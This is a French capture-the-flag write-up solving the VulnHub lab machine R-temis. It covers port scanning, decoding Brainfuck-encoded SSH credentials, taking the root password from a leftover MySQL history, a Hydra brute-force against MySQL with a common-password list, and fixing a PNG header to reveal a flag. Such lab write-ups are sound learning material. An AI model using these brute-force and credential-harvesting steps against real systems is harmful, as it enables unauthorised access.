Accueil Solution du CTF R-temis de VulnHub
Post
Annuler

Solution du CTF R-temis de VulnHub

R-temis est un petit CTF plus orienté Jeopardy qu’intrusion. Il reste assez simple.

Il y a un MySQL accessible, mais on n’en aura finalement pas besoin.

1
2
3
4
5
6
7
Nmap scan report for 192.168.56.210
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
3306/tcp open  mysql   MySQL 5.7.32
7223/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

Je lance une première énumération :

1
2
3
4
5
6
7
8
200       34l      228w     4761c http://192.168.56.210/css/
200       23l      131w     2495c http://192.168.56.210/js/
200       18l       78w     1341c http://192.168.56.210/img/
403        9l       28w      279c http://192.168.56.210/icons/
200       20l       95w     1729c http://192.168.56.210/Image/
403        9l       28w      279c http://192.168.56.210/server-status/
200       29l      105w     1274c http://192.168.56.210/
200       15l       49w      737c http://192.168.56.210/ctf/

Le dossier ctf est vide. Le dossier Image contient quelques images, l’une d’elle ne s’affiche pas correctement.

Sur le site, il y a différents indices, l’un laisse entendre qu’il faut chercher un fichier texte. Je le trouve via une énumération :

1
200        7l       52w      308c http://192.168.56.210/easy.txt

On obtient deux lignes de BrainFuck :

1
2
3
4
5
6
7
+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ .++.< +++[- >---< ]>---
---.+ +++++ ++.-- --.<+ ++[-> +++<] >+.<


+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ ++.<+ +++++ +[->- -----
-<]>- --..< +++++ ++[-> +++++ ++<]> +.<++ ++[-> ----< ]>.<+ ++++[ ->---
--<]> ----- ----. <++++ +++[- >++++ +++<] >++.. <

J’ai utilisé l’interpréteur de dcode.fr : Brainfuck - Langage - Code - Décoder, Encoder en Ligne

Ça me donne ces identifiants : rtemis / t@@rb@ss

Ils sont valides sur SSH. Je trouve quelques fichiers dans le dossier personnel :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
rtemis@debian:~$ find . -type f -ls
   658466      4 -rw-------   1 rtemis   somu          826 Jan  7  2021 ./.bash_history
   658594      4 -rw-------   1 rtemis   somu         2235 Jan  5  2021 ./.mysql_history
   657558      4 -rw-r--r--   1 rtemis   somu         3526 Dec 31  2020 ./.bashrc
   920440      4 -rw-r--r--   1 rtemis   somu          117 Jan  7  2021 ./.hint/pass.txt
   920439      4 -rw-r--r--   1 rtemis   somu          112 Jan  7  2021 ./.hint/user.txt
   657560      4 -rw-r--r--   1 rtemis   somu          220 Dec 31  2020 ./.bash_logout
   657562      4 -rw-r--r--   1 rtemis   somu          807 Dec 31  2020 ./.profile
rtemis@debian:~$ cat .hint/*
mustang
michael
shadow
master
jennifer
111111
2000
toor
toor123
toor@
jordan
superman
harley
1234567
fuckme
hunter


password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
somu
raj

Pour ce qui est de la seconde liste (utilisateurs) je fais vite le tri, car dans l’historique bash on peut voir cette commande :

1
mysql -u somu -p

Et dans l’historique MySQL :

1
INSERT INTO secret values ('root', 'H@ckMe');

On peut s’en servir directement pour récupérer le compte root :

1
2
3
4
5
6
7
8
9
rtemis@debian:~$ su 
Password: 
root@debian:/home/somu# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/somu# cd /root
root@debian:~# ls
flag2.txt
root@debian:~# cat flag2.txt 
R777N1k

Si l’auteur du CTF avait correctement nettoyé derrière lui on aurait effectué un bruteforce à l’aide des wordlists. Mais comme l’utilisateur fait partie du groupe somu ça ne laisse que peu de doutes sur le nom d’utilisateur.

1
2
3
4
5
6
7
8
9
10
$ hydra -l somu -P pass.txt mysql://192.168.56.210
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-19 10:20:13
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 16 login tries (l:1/p:16), ~4 tries per task
[DATA] attacking mysql://192.168.56.210:3306/
[3306][mysql] host: 192.168.56.210   login: somu   password: toor123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-19 10:20:14

Revenons sur le premier flag, il s’agit de l’image invalide.

On peut voir que l’entête est endommagé, visiblement uniquement les 4 premiers octets :

1
2
3
4
5
6
7
8
$ hexdump -C -n 20 flag1.png 
00000000  00 55 49 45 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.UIE........IHDR|
00000010  00 00 02 a0                                       |....|
00000014
$ hexdump -C -n 20 logo.png 
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 08 e1                                       |....|
00000014

On peut corriger en écrasant avec dd :

1
2
3
4
$ echo -e -n "\x89PNG" | dd of=flag1.png bs=1 conv=notrunc
4+0 enregistrements lus
4+0 enregistrements écrits
4 octets copiés, 7,6401e-05 s, 52,4 kB/s

On ouvre l’image qui affiche le flag 1RY_H4RD3R

Cet article est sous licence CC BY 4.0 par l'auteur.